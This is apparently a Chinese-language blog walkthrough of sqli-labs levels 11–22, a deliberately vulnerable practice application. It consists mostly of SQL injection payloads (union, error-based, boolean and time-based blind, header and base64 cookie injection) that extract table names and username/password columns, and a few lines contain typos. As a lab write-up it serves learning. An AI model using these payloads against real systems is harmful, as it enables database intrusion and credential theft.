Less-11----Less-22

Less-11

在username输入'返回显示存在SQL语法错误,证明存在注入漏洞

username和password都先输入admin登陆成功  并发现是post传出

所以使用burpsuite抓包软件得到post传参数据:uname=admin&passwd=admin&submit=Submit

将此语句放入hackbar下的Post data执行,显示登录成功,在admin后加'报错,

这时使用or 1=1语句并用#注释(此处不能用--+,因为--+主要使用在URL中)uname=admin' or 1=1#&passwd=admin&submit=Submit再执行成功,证明存在注入漏洞

在password位置也尝试此语句uname=a&passwd=a' or 1=1#&submit=Submit 登录成功,开始构造

使用order by语句uname=admin' order by 3#&passwd=admin&submit=Submit或uname=admin'&passwd=admin' order by 3#&submit=Submit 查询出共有2列

查数据库 uname=n' union select database(),2#&passwd=n&submit=Submit   

查库(limit与group_concat的区别)uname=n' union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=n &submit=Submit

uname=n' union select 1,schema_name from information_schema.schemata limit 1,1#&passwd=n&submit=Submit

查表 uname=n' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=n&submit=Submit

查列 uname=n' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#&passwd=n&submit=Submit

查字段 (分开查)uname=n' union select 1,group_concat(password) form security.users #passwd=admin&submit=Submit

uname=n' union select 1,group_concat(username) form security.users#passwd=admin&submit=Submit

为了一次性查询 引入一个新的函数:

concat_ws()

concat_ws(separator,str1,str2,...) 是concat()的特殊形式,只不过比concat()在每个数据间多了分隔符,而第一个参数是其它参数的分隔符,分隔符的位置放在要连接的两个字符串之间,分隔符可以是一个字符串,也可以是其它参数。

例:select concat_ws(',','11','22','33'),结果是:11,22,33

uname=n' union select 1,group_concat(concat_ws(0x7e,username,password)) form security.users#passwd=admin&submit=Submit

Less-12

'    ')    '))    "    ")    "))其实就这几种sql语句错误类型一一带入尝试,回显存在sql语句错误证明有注入漏洞并得到构造语句,仅显示登陆失败而无其他回显不能证明

经测试这道题的双引号加括号闭合,语句为uname=admin") or 1=1#&passwd=a&submit=Submit        接下来的与Less-11几乎无差

Less-13

单引号加括号闭合') ,无回显下面进行盲注:(有的仅为样例payload:)

floor报错注入

uname= n') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as n from information_schema.tables group by n#&passwd= ')or 1=1#&submit=Submit

uname= n') union select 1,2 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit

uname= n') union select 1,2 from (select count(*),concat((select concat(group_concat(table_name) ,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit

uname= n') union select 1,2 from (select count(*),concat((select concat(group_concat(column_name) ,0x3a,0x3a) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit

uname= n') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#&passwd=n') or 1=1#&submit=Submit

时间延迟型注入

uname=n') and if(left(database(),1)='s',sleep(3),1)#&passwd=n')&submit=Submit

uname=n') and if(length(database())=8,sleep(3),1)#&passwd=n')&submit=Submit

uname=n') and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(3),1)#&passwd=n')&submit=Submit

uname=n') and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(3),1)#&passwd=n')&submit=Submit

uname=n') and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(3),1)#&passwd=n')&submit=Submit

布尔盲注

uname=n') or (length(database()))=8#&passwd=n' or 1=1#&submit=Submit

uname=n') or (ascii(substr((select database()),1,1)))=115 #&passwd=n' or 1=1#&submit=Submit

Less-14

双引号闭合" ,无回显,用布尔或延时注入

Less-15

单引号闭合',无回显,用布尔或延时注入

Less-16

双引号加括号闭合"),无回显,用布尔或延时注入

首先了解下:updatexml()函数:

updatexml(XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以上网进一步学习。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值  改变XML_document中符合XPATH_string的值

而我们的注入语句为:select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1)

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出

ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'

Less-17

这道题中username被过滤,而password并没有被过滤,所以可以考虑从password入手,

首先输入正确的用户名,然后通过updatexml报错:and updatexml(1,payload,1)语句最长输出32位,并且该语句对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

uname=admin&passwd=()&submit=Submit将以下语句逐个套用即可

a' or updatexml(1,concat('#',(select database())),1)#

' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#

' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#

' or updatexml(1,concat('#',(select * from (select concat_ws(' ',id,username,password) from users limit 0,1) a)),1)#

Less-18

(此题其实很复杂,本菜鸡也也刚把自己弄懂,所以过程有些粗略)

登录失败显示IP地址,登陆成功显示IP地址和User Agent

而在username和password处进行注入的话会发现被转义 

用抓包软件来进行抓包并修改User-Agent的值,由于方便我用了火狐浏览器的Http Headers Live (post是Http头协议的一种请求方式)

样例爆库payload:' or updatexml(1,concat('#',(select database()),'#'),1),1,1)#

Less-19

同18

样例爆库payload:' or updatexml(1,concat(0x7e,database(),0x7e),1),",") #

Less-20

回显是referer,查一下php文件可以发现,insert语句中向数据库插入了referer,所以注入点改为referer,paylaod和上一题完全一样,也可以参照less-12,将其双引号改为单引号

样例爆库payload:' or updatexml(1,concat(0x7e,database(),0x7e),1) #(这里因为不是Inser语句 , 所以我们在补全SQL语句的时候不需要加”,”)

注入结束

Less-21

本关对cookie进行了base64的处理,其他的处理流程和less20是一样的。

我们这里可以利用less20同样的方法,但是需要将payload进行base64编码处理(注意这里对uname进行了 ('uname')的处理)

Cookie:

uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=

Less-22

本关和less20、less21是一致的,我们可以从源代码中看到这里对uname进行了"uname"的处理,可以构造payload:

admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#

Payload进行base64编码后,修改cookie再进行提交

你可能感兴趣的:(Less-11----Less-22)